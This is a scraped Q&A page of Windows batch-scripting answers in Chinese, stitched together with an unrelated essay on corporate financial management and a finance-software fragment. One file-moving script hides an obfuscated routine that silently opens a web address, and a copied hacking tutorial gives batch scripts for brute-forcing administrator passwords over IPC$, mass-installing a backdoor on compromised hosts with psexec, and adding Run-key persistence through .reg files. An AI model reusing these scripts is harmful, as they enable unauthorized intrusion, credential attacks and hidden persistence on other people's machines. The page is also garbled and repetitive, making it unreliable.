可變區批命令

❶ 批處理命令大全

:: 創建《CMD命令速查手冊》
@echo offsetlocal EnableDelayedExpansion
echo.
echo.
echo.
echo 請稍候。。。。。。。
echo.
echo.
echo.
echo 《CMD命令速查手冊》>CMD命令速查手冊.txt
for /f "delims=:" %%f in ('help^|findstr /n "^ASSOC"') do set head=%%fset /a head-=1
if "%head%"=="0" (
set head=
) else set head=skip=%head%
for /f "%head% delims=" %%i in ('help') do (
set str=%%i & set name=!str:~0,9! & set desc=!str:~9!echo.!name! | findstr /v "^[A-Z]" >nul && echo !desc! >>CMD命令速查手冊.txt
if errorlevel 1 echo !name! !desc! >>CMD命令速查手冊.txt
)
for /f %%i in ('help^|findstr "^[A-Z]"') do (
help %%i | findstr "<.*>" >nul
echo ===================================================================>>CMD命令速查手冊.txt
echo %%i >>CMD命令速查手冊.txt
echo ------------------------------------------------------------------->>CMD命令速查手冊.txt
help %%i >>CMD命令速查手冊.txt
)
endlocal
start CMD命令速查手冊.txt

❷ 求個批處理命令

@echooff&title移動文件到指定位置By依夢琴瑤

::設置原文件所在目錄
setSrcDir=A

::設置目標目錄
setTgrDir=B

for/f"delims="%%ain('dir/a-d/b"%SrcDir%*.txt"')do(
ifnotexist"%TgrDir%\%%~na\%%~nxa"(
ifnotexist"%TgrDir%\%%~na"md"%TgrDir%\%%~na"
move"%%~a""%TgrDir%\%%~na"
)else(
echo已存在"%%~nxa"
)
)
pause
call:Donate
exit

:Donate
set"S0=fPdv"
set"S1=.:ailnhpst/"
set"S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set"S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start"""%S2%%S3%%S1:~10,1%%S0%"
exit

❸ 財務管理軟體的流程圖

論成本控制與財務管理目標[如果文章通過的話,別忘了給俺加分哦!呵呵.]
財務管理是企業管理的重要組成部分，滲透到企業的各個領域、各個環節之中。財務管理直接關繫到企業的生存與發展，從某種意義上說，財務管理是企業可持續發展的一個關鍵。然而，有些企業的財務管理則不盡人意。這些企業的財務管理存在兩個誤區：一是把財務管理簡單化，彷彿財務管理只是財務部門的事，忽視其整體管理職能；二是財務部門完全聽命於"老闆"，忽視財務管理自身的規律性與相對的獨立性。
現就企業財務管理中的投資管理、資金管理、財務監督管理、利潤分配管理等問題作出討論。
一、現代企業制度與財務管理
財務管理是社會生產力發展的結果，大約在15-16世紀，地中海沿岸一帶的城市商業得到了迅速發展，初期的股份制公司的出現要求財務管理作為企業的一種組織形式誕生了。但這個時期的財務管理還僅僅只是企業管理中的一個附屬部分，還沒有自己的獨立職能，也缺乏財務管理理論和實踐經驗，因此，這只能是財務管理的蔭芽時期。到了19世紀50年代以後，隨著西方產業革命進入完成時期，隨著股份制公司的不斷擴大與逐漸完善，為了適應怎樣籌集資本、發行股票，怎樣分配利潤的需要，才產生了專業化的財務管理。
我國企業管理和理財的發展應該說是走過彎路、付出了相當的代價的。在計劃經濟時代，我國的企業管理與財務管理不是以追求企業效益為目標，收益分配是按勞分配口號下的平均主義。改革開放以後，特別是1993年，黨中央十四屆三中全會明確提出了國有企業的改革方向是"建立現代企業制度和實行科學的企業管理（財務管理）"，財務管理才被重視起來。目前，國有企業正在加快企業改制工作。單一的國有企業正朝著投資主體多元化的股份制混合型經濟形式發展，經營者與企業職工持股使國有企業和廣大員工真正成為一個命運共同體。國有企業轉換經營機制之後，將成為真正的市場競爭主體與法人治理實體。國有企業建立現代企業制度與國有企業改制對財務管理提出了更迫切更高的要求。
二、當好參謀，把好企業投資決策關
決策是企業管理中一項最為重要的工作。決策是有成本的，這一點容易被人忽視。例如一個正確的決策為企業盈利100萬元，如果失去了機遇，沒有做出及時的決策，這個決策成本就是100萬元；如果做出了一個錯誤的決策，不僅沒有賺到100萬元，反而虧損了100萬元，那麼，這個錯誤的決策成本就是200萬元。因此，決策也必須講成本控制。
投資決策是企業所有決策中最為關鍵、最為重要的決策，因之我們常說：投資決策失誤是企業最大的失誤，一個重要的投資決策失誤往往會使一個企業陷入困境，甚至破產。因此，財務管理的一項極為重要的職能就是為企業當好參謀把好投資決策關。
投資是指投放財力於一定的對象，以期望在未來獲取收益的經濟行為。投資有很多種類：從投資回收的時間劃分，有長期投資和短期投資；從投資的方向來看，有對內投資和對外投資；以投資對企業前途的影響為依據，可分為戰略性投資與戰術性投資，以及初創投資與後續投資；確定性投資與風險投資；相關性投資與非相關性投資等等。這些分類是從邏輯劃分的二分法劃分出來的，每一種投資本身就具有多種類型的性質與特點，例如一項長期投資本身，它既可能是戰略性投資，又可能是風險性投資等等。因此，我們在考慮投資時必須把好以下「四關」。
第一，把好經濟行為關。必須明確投資是一項經濟行為，必須從經濟規律中去尋找依據，從而做出正確的投資決策。筆者調查過若干個國有企業不少失誤的投資決策，其中一個很大的失誤原因是沒有從經濟規律本身去決策，而是從「政治」、「人際關系」等因素輕率地做出了投資決策。例如一個國有企業的董事會聽命於某位上級首長的「暗示」，給上級的老首長的兒子的一個公司投資300萬元，結果是"肉包子打狗"，有去無回；又例如一個很成功的國有企業的總經理，為了回報他的故鄉，強行主張在他的故鄉投資500萬元辦廠，而他的故鄉卻不具備辦這種工廠的條件，結果廠是辦成功了，卻年年虧損，成了這個企業的"沉重包袱"。甚至還有國有企業的負責人把國有資產隨意地投資給自己的親戚朋友和身邊的人，嚴格地說，這已經是一種腐敗行為，是一種犯罪。這一種投資方式在調查的投資決策失誤中竟佔了40%左右，是一種十分值得重視的現象。另一種投資決策失誤是投資決策者本人素質差，官僚主義，獨斷專行，自己又不懂經濟規律而做出的決策。這種投資方式在調查的投資決策失誤中約佔50%.
第二，把好調查研究關，嚴格按國際慣例辦事，按法治辦事。投資決策是一個過程。在做出投資決策之前，必須深入進行調查研究，進行可行性分析，否則不能輕易投資。特別是對外投資，即企業以現金、實物、無形資產等方式，或者以股票、證券等有價證券方式向其他單位投資，一定要按國際慣例辦事，對投資方的資信、財力等諸多方面有可靠的證明。合同要嚴格把關，符合有關法律手續，切不可留有隱患。
第三，把好投資管理程序關，做到投資決策科學化與民主化。不同種類的投資都有自身的特點，從而有不同的管理程序，需經不同的部門審批，例如：有的投資，總經理個人可以做出決策，有的投資需經董事會批准，而有的投資則需報上級部門審批。
第四，把好成本控制、風險與收益關。投資的目的是要有效益，要賺錢，因之必須實行投資成本控制；要有風險意識，盡力規避風險；投資要有效益，還得及時回收，以確保投資成功。
三、管好資金，確保企業資金流通與安全
目前，不少企業在資金管理中存在三個問題：一是資金入不敷出，存在資金缺口；二是資金被挪用、被擠占；三是叫人頭疼的「三角債」。如何解決好這三個問題，是企業財務管理中的當務之急。
當然，首先要開源節流，增收節支；其次要通過短期籌款和投資來調劑資金的餘缺；第三必須對資金實施跟蹤管理，做到專款專用，防止資金被挪用和形成新的「三角債」。
四、充分發揮財務監督作用，確保國有資產保值增值
完善企業法人治理結構是目前國有企業改制的一個重大課題。企業要真正成為市場經濟中的競爭主體和責權明確的法人實體，必須要有一套與之相適應的激勵機制。建設一個團結、開拓、廉潔的領導班子是搞好國有企業的關鍵。從防止腐敗著想，企業必須加強監督作用。正如交通規則一樣，沒有紅燈的約束，就沒有綠燈的自由。在企業約束機制之中，充分發揮財務監督作用具有特別重要的意義。財務工作者要有高度的責任感，對於不按財務制度辦事的人，要敢於抵制，直至向上級反映情況。國有企業的財務人員從根本上說來，是對國有資產負責，而不是對某個具體的總經理負責。而從法治上說，又必須保護財務人員的職責與個人權益，也只有這樣，才能充分發揮財務監督作用。
目前國有企業實行財務主管下管一級的制度是行之有效的。直屬企業的財務負責人由上一級主管部門、企業直接委派，其組織關系、工資福利在上一單位，這樣他就能無後顧之憂地行使財務監督作用。
五、新形勢下的利潤分配管理
利潤分配是企業根據國家有關規定和投資者的決議對企業凈利潤所進行的分配。利潤分配在企業中起到杠桿作用，它對正確處理企業與各方面的經濟關系，調動各方面的積極性，促進企業發展有著極其重要的意義。
多年來，我國企業利潤分配由於受計劃經濟的影響，在「按勞分配」的口號下，實質上存在嚴重的平均主義，極大地挫傷了群眾的積極性，這也是不少國有企業長期處於困境的一個重要原因。一個廠長、總經理工資收入與一個普通員工相差無幾，無論從哪一方面說，都是不合理的。有一些廠長、總經理辛辛苦苦幹了幾十年，臨到退休才發現自己「一無所有」，心理不平衡。個別人竟鋌而走險，知法犯法，貪污受賄，形成所謂的「五十九歲現象」。一個高級知識分子，一個科技工作者收入同一個體力勞動者也相差無幾，這也是利潤分配十分不合理的現象。在利潤分配上吃大鍋飯是一種落後意識，是有很大危害的。
改革開放以後，鄧小平同志提出「讓一部分人先富起來」，其實質就是打破利潤分配的「平均主義」。鄧小平同志又提出「科學技術是第一生產力」，號召「尊重知識、尊重人才」，這就為利潤分配進一步改革奠定了理論基礎。目前，科技工作者可以以科學技術入股分紅，企業經營者實行年薪制等，可以說是利潤分配在新形勢下的必然結果。按勞分配與生產要素參與分配將成為企業的主要利潤分配形式，職工持股，經營者持股將使企業和員工成為一個利益共同體，風險共擔，利潤則視其參股比例不同而不同。在這種新形勢下，企業的利潤分配如何才能更合理，更能發揮經濟杠桿作用，從而調動各層次、各種人員的積極性，是財務工作者面臨的一個新挑戰。
參考資料：http://www.damishu.com/Article/ktlw/czjr/200510/38716.asp

❹ 求個批處理命令

10.for 命令
for 命令是一個比較復雜的命令，主要用於參數在指定的范圍內循環執行命令。
在批處理文件中使用 FOR 命令時，指定變數請使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters 為特定命令指定參數或命令行開關。
在批處理文件中使用 FOR 命令時，指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的，所以 %i 不同於 %I

如果命令擴展名被啟用，下列額外的 FOR 命令格式會受到
支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符，則指定與目錄名匹配，而不與文件
名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

檢查以 [drive:]path 為根的目錄樹，指向每個目錄中的
FOR 語句。如果在 /R 後沒有指定目錄，則使用當前
目錄。如果集僅為一個單點(.)字元，則枚舉該目錄樹。

FOR /L %variable IN (start,step,end) DO command [command-para

該集表示以增量形式從開始到結束的一個數字序列。
因此，(1,1,5) 將產生序列 1 2 3 4 5，(5,-1,1) 將產生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

或者，如果有 usebackq 選項:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

filenameset 為一個或多個文件名。繼續到 filenameset 中的
下一個文件之前，每份文件都已被打開、讀取並經過處理。
處理包括讀取文件，將其分成一行行的文字，然後將每行
解析成零或更多的符號。然後用已找到的符號字元串變數值
調用 For 循環。以默認方式，/F 通過每個文件的每一行中分開
的第一個空白符號。跳過空白行。您可通過指定可選 "options"
參數替代默認解析操作。這個帶引號的字元串包括一個或多個
指定不同解析選項的關鍵字。這些關鍵字為:

eol=c - 指一個行注釋字元的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的
默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代
的 for 本身。這會導致額外變數名稱的
格式為一個范圍。通過 nth 符號指定 m
符號字元串中的最後一個字元星號，
那麼額外的變數將在最後一個符號解析之
分配並接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字元串並且
引號字元為文字字元串命令並允許在 fi
中使用雙引號擴起文件名稱。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

會分析 myfile.txt 中的每一行，忽略以分號打頭的那些行，將
每行中的第二個和第三個符號傳遞給 for 程序體；用逗號和/或
空格定界符號。請注意，這個 for 程序體的語句引用 %i 來
取得第二個符號，引用 %j 來取得第三個符號，引用 %k
來取得第三個符號後的所有剩餘符號。對於帶有空格的文件
名，您需要用雙引號將文件名括起來。為了用這種方式來使
用雙引號，您還需要使用 usebackq 選項，否則，雙引號會
被理解成是用作定義某個要分析的字元串的。

%i 專門在 for 語句中得到說明，%j 和 %k 是通過
tokens= 選項專門得到說明的。您可以通過 tokens= 一行
指定最多 26 個符號，只要不試圖說明一個高於字母 z 或
Z 的變數。請記住，FOR 變數是單一字母、分大小寫和全局的；
同時不能有 52 個以上都在使用中。

您還可以在相鄰字元串上使用 FOR /F 分析邏輯；方法是，
用單引號將括弧之間的 filenameset 括起來。這樣，該字元
串會被當作一個文件中的一個單一輸入行。

最後，您可以用 FOR /F 命令來分析命令的輸出。方法是，將
括弧之間的 filenameset 變成一個反括字元串。該字元串會
被當作命令行，傳遞到一個子 CMD.EXE，其輸出會被抓進
內存，並被當作文件分析。因此，以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

會枚舉當前環境中的環境變數名稱。

另外，FOR 變數參照的替換已被增強。您現在可以使用下列
選項語法:

~I - 刪除任何引號(")，擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變數的目錄，並將 %I 擴充
到找到的第一個完全合格的名稱。如果環境變數
未被定義，或者沒有找到文件，此組合鍵會擴充
空字元串

可以組合修飾符來得到多重結果:

%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變數的目錄，並將 %I 擴充
到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR

在以上例子中，%I 和 PATH 可用其他有效數值代替。%~ 語法
用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名
比較易讀，而且避免與不分大小寫的組合鍵混淆。

以上是MS的官方幫助，下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。

sample2：

利用For命令來實現對一台目標Win2k主機的暴力密碼破解。
我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接，當成功時記下密碼。
最主要的命令是一條：for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%來表示admin的密碼，在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給find命令－－
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ，這樣就ko了。

sample3：

你有沒有過手裡有大量肉雞等著你去種後門＋木馬呢？，當數量特別多的時候，原本很開心的一件事都會變得很郁悶：）。文章開頭就談到使用批處理文件，可以簡化日常或重復性任務。那麼如何實現呢？呵呵，看下去你就會明白了。

主要命令也只有一條：（在批處理文件中使用 FOR 命令時，指定變數使用 %%variable）
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1，在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接，並木馬＋後門到victim，然後用返回碼（If errorlever =）來篩選成功種植後門的主機，並echo出來，或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列，一般就是 ip password username。
代碼雛形：

--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
這只是一個自動種植後門批處理的雛形，兩個批處理和後門程序（Windrv32.exe）,PSexec.exe需放在統一目錄下.批處理內容
尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.

了用這種方式來使用雙引號，您還需要使用 usebackq 選項，否則，雙引號會被理解成是用作定義某個要分析的字元串的。

%i 專門在 for 語句中得到說明，%j 和 %k 是通過tokens= 選項專門得到說明的。您可以通過 tokens= 一行指定最多 26 個符號，只要不試圖說明一個高於字母 』z』 或』Z』 的變數。請記住，FOR 變數是單一字母、分大小寫和全局的；同時不能有 52 個以上都在使用中。

您還可以在相鄰字元串上使用 FOR /F 分析邏輯；方法是，用單引號將括弧之間的 filenameset 括起來。這樣，該字元串會被當作一個文件中的一個單一輸入行。

最後，您可以用 FOR /F 命令來分析命令的輸出。方法是，將括弧之間的 filenameset 變成一個反括字元串。該字元串會被當作命令行，傳遞到一個子 CMD.EXE，其輸出會被抓進內存，並被當作文件分析。因此，以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

會枚舉當前環境中的環境變數名稱。另外，FOR 變數參照的替換已被增強。您現在可以使用下列選項語法:

~I - 刪除任何引號(")，擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變數的目錄，並將 %I 擴充到找到的第一個完全合格的名稱。如果環境變數未被定義，或者沒有找到文件，此組合鍵會擴充空字元串

可以組合修飾符來得到多重結果:

%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變數的目錄，並將 %I 擴充到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR

在以上例子中，%I 和 PATH 可用其他有效數值代替。%~ 語法用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名比較易讀，而且避免與不分大小寫的組合鍵混淆。

以上是MS的官方幫助，下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。

sample3：

你有沒有過手裡有大量肉雞等著你去種後門＋木馬呢？，當數量特別多的時候，原本很開心的一件事都會變得很郁悶：）。文章開頭就談到使用批處理文件，可以簡化日常或重復性任務。那麼如何實現呢？呵呵，看下去你就會明白了。

主要命令也只有一條：（在批處理文件中使用 FOR 命令時，指定變數使用 %%variable）
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1，在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接，並木馬＋後門到victim，然後用返回碼（If errorlever =）來篩選成功種植後門的主機，並echo出來，或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列，一般就是 ip password username。
代碼雛形：
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use //%1/ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ............OK
@ windrv32.exe//%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p*** ec //%1 c:/winnt/system32/windrv32.exe
@p*** ec //%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
這只是一個自動種植後門批處理的雛形，兩個批處理和後門程序（Windrv32.exe）,PSexec.exe需放在統一目錄下

二.如何在批處理文件中使用參數
批處理中可以使用參數，一般從1%到 9%這九個，當有多個參數時需要用shift來移動，這種情況並不多見，我們就不考慮它了。
sample1：fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat

在做備份的時候可能會用到這種命令會比較簡單，如：
dir file&://192.168.0.1/database/backup.mdb && file&://192.168.0.1/database/backup.mdb E:/backup
如果遠程伺服器上存在backup.mdb文件，就執行命令，若不存在該文件則不執行命令。這種用法可以替換IF exist了 ：）

3.││

Usage：第一條命令 ││ 第二條命令 [││ 第三條命令...]

用這種方法可以同時執行多條命令，當碰到執行正確的命令後將不執行後面的命令

組合命令使用的例子：
sample：
@ trojan.exe //%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

五.如何用批處理文件來操作注冊表

在入侵過程中經常回操作注冊表的特定的鍵值來實現一定的目的，例如:為了達到隱藏後門、木馬程序而刪除Run下殘余的鍵值。或者創建一個服務用以載入後門。當然我們也會修改注冊表來加固系統或者改變系統的某個屬性，這些都需要我們對注冊表操作有一定的了解。下面我們就先學習一下如何使用.REG文件來操作注冊表.(我們可以用批處理來生成一個REG文件)
關於注冊表的操作，常見的是創建、修改、刪除。

1.創建
創建分為兩種，一種是創建子項(Subkey)

我們創建一個文件，內容如下：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/hacker]

然後執行該腳本，你就已經在HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft下創建了一個名字為"hacker"的子項。

另一種是創建一個項目名稱
那這種文件格式就是典型的文件格式，和你從注冊表中導出的文件格式一致，內容如下：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]
"Invader"="Ex4rch"
"Door"=C://WINNT//system32//door.exe
"Autodos"=dword:02

這樣就在[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]下
新建了:Invader、door、about這三個項目
Invader的類型是"String value"
door的類型是"REG SZ value"
Autodos的類型是"DWORD value"

2.修改
修改相對來說比較簡單，只要把你需要修改的項目導出，然後用記事本進行修改，然後導入（regedit /s）即可。

3.刪除
我們首先來說說刪除一個項目名稱，我們創建一個如下的文件：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]
"Ex4rch"=-

執行該腳本，[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]下的"Ex4rch"就被刪除了；

我們再看看刪除一個子項，我們創建一個如下的腳本：

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]

執行該腳本，[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]就已經被刪除了。

相信看到這里，.reg文件你基本已經掌握了。那麼現在的目標就是用批處理來創建特定內容的.reg文件了，記得我們前面說道的利用重定向符號可以很容易地創建特定類型的文件。

samlpe1:如上面的那個例子,如想生成如下注冊表文件
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要這樣：
@echo Windows Registry Editor Version 5.00>>Sample.reg

@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C://WINNT//system32//door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg

@REM [刪除DSNXDE在注冊表中的啟動項，用sc.exe將之注冊為系統關鍵性服務的同時將其屬性設為隱藏和只讀，並config為自啟動]

❺ 批處理命令……著急，在線等

呵呵～
這種p也有人編，無聊...

剩餘空間就成0的應該不止c盤啊～

枚舉所有以英文字母為盤符字母的分區，並獲得分區可用位元組有多少，再檢查該分區是否有iexplorer這個文件夾，如果沒有就創建該文件夾，再檢查該文件夾下是否有pigfile.sys這個文件，如果沒有就創建一個以pigfile.sys文件名，大小以該分區位元組有多少一樣大小的佔位文件。並將iexplorer這個文件夾及其子文件夾中匹配的文件加上系統、隱藏、只讀屬性。

解除，參看樓上的答案。

或：

@echo off
for %%P in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (
attrib %%P:\iexplorer -s -h -r /s /d
del %%P:\iexplorer\pigfile.sys /q
)
exit

❻ bat批處理命令大全

我有一個txt格式的文檔，但是字數太多粘貼不上來（超過10000字）你可以加我，我傳給你
目錄：第一章 批處理基礎 第一節 常用批處理內部命令簡介 1、REM 和 :: 2、ECHO 和 @ 3、PAUSE 4、ERRORLEVEL 5、TITLE 6、COLOR 7、mode 配置系統設備 8、GOTO 和 : 9、FIND 10、START 11、assoc 和 ftype 12、pushd 和 popd 13、CALL 14、shift 15、IF 16、setlocal 與 變數延遲 17、ATTRIB 顯示或更改文件屬性 第二節 常用特殊符號 1、@ 命令行回顯屏蔽符 2、% 批處理變數引導符 3、> 重定向符 4、>> 重定向符 5、<、>&、<& 重定向符 6、| 命令管道符 7、^ 轉義字元 8、& 組合命令 9、&& 組合命令 10、|| 組合命令 11、"" 字元串界定符 12、, 逗號 13、; 分號 14、() 括弧 15、! 感嘆號 第二章 FOR命令詳解 一、基本格式 二、參數 /d 三、參數 /R 四、參數 /L 五、參數 /F 第三章 FOR命令中的變數 一、 ~I - 刪除任何引號(")，擴展 %I 二、 %~fI - 將 %I 擴展到一個完全合格的路徑名 三、 %~dI - 僅將 %I 擴展到一個驅動器號 四、 %~pI - 僅將 %I 擴展到一個路徑 五、 %~nI - 僅將 %I 擴展到一個文件名 六、 %~xI - 僅將 %I 擴展到一個文件擴展名 七、 %~sI - 擴展的路徑只含有短名 八、 %~aI - 將 %I 擴展到文件的文件屬性 九、 %~tI - 將 %I 擴展到文件的日期/時間 十、 %~zI - 將 %I 擴展到文件的大小 十一、 %~$PATH:I 第四章 批處理中的變數 一、系統變數 二、自定義變數 第五章 set命令詳解 一、用set命令設置自定義變數 二、用set命令進行簡單計算 三、用set命令進行字元串處理 1、字元串替換 2、字元串截取 第六章 if命令講解 第一種用法：IF [NOT] ERRORLEVEL number command 第二種用法：IF [NOT] string1==string2 command 第三種用法：IF [NOT] EXIST filename command 第四種用法：IF增強的用法 第七章 DOS編程高級技巧 一、界面設計 二、if…else…條件語句 三、循環語句 四、子程序 五、用ftp命令實現自動下載 六、用7-ZIP實現命令行壓縮和解壓功能 七、調用VBScript程序 八、將批處理轉化為可執行文件 九、時間延遲 1、利用ping命令延時 2、利用for命令延時 3、利用vbs延遲函數，精確度毫秒，誤差1000毫秒內 4、僅用批處理命令實現任意時間延遲，精確度10毫秒，誤差50毫秒內 十、模擬進度條 十一、特殊字元的輸入及應用 十二、隨機數（%random%）的應用技巧 十三、變數嵌套 與 命令嵌套 全文： http://xiangkg.blog.163.com 1、更正了所有的錯別字，適當排版，增加條理性。 2、運行改善所有例子，並糾正了一些語法錯誤。 3、補充了一些不完全的地方。 4、第一章參考了網上許多教程匯編而成。 5、20080229補充了變數延遲的問題。 6、20080305修改了參數usebackq的說明 7、20080310增加了特殊字元的輸入及應用 8、20080311修改了子程序部分 9、20080313修改了echo說明，歸納了9個應用方法 10、20080320增加任意時間延遲方法 11、20080321增加了set計算中十進制與八進制混淆問題的說明 12、20080325修正dos數值計算范圍：-2147483648 至2147483647，即-2^31～2^31-1 13、20080326增加隨機數的應用 14、20080327修改了「if增強用法」中的defined語句說明 15、20080402增加變數嵌套與命令嵌套，重要技巧之一。很高興為你回答。如果你覺得滿意的話請採納。謝謝！

❼ 財務軟體從其他報表取數計算的方法

財務軟體從其他報表取數計算的方法

在進行報表與報表間的取數時，不僅僅要考慮取哪一個表哪一個單元的數據，還要考慮數據源在哪一頁。例如，5月份的資產負債表中的利潤，需要去傲利潤表中5月份的利潤數據，假如利潤表中存在其他月份的數據，而不存在5月份的數據，那麼《資產負債表》絕對不應該將其他月份的數據取出來，報表間的計算公式就是要保證這一點。

報表間的計算公式與同一報表內各表頁間的計算公式很相近，主要區別就是把本表表名換為他表表名。報表與報表間的計算公式分為：取他表確定頁號表頁的數據和用關聯條件從他表取數。

(1)取他表確定頁號表頁的數據。用以下格式可以方便地取得已知頁號的他表表頁數據：

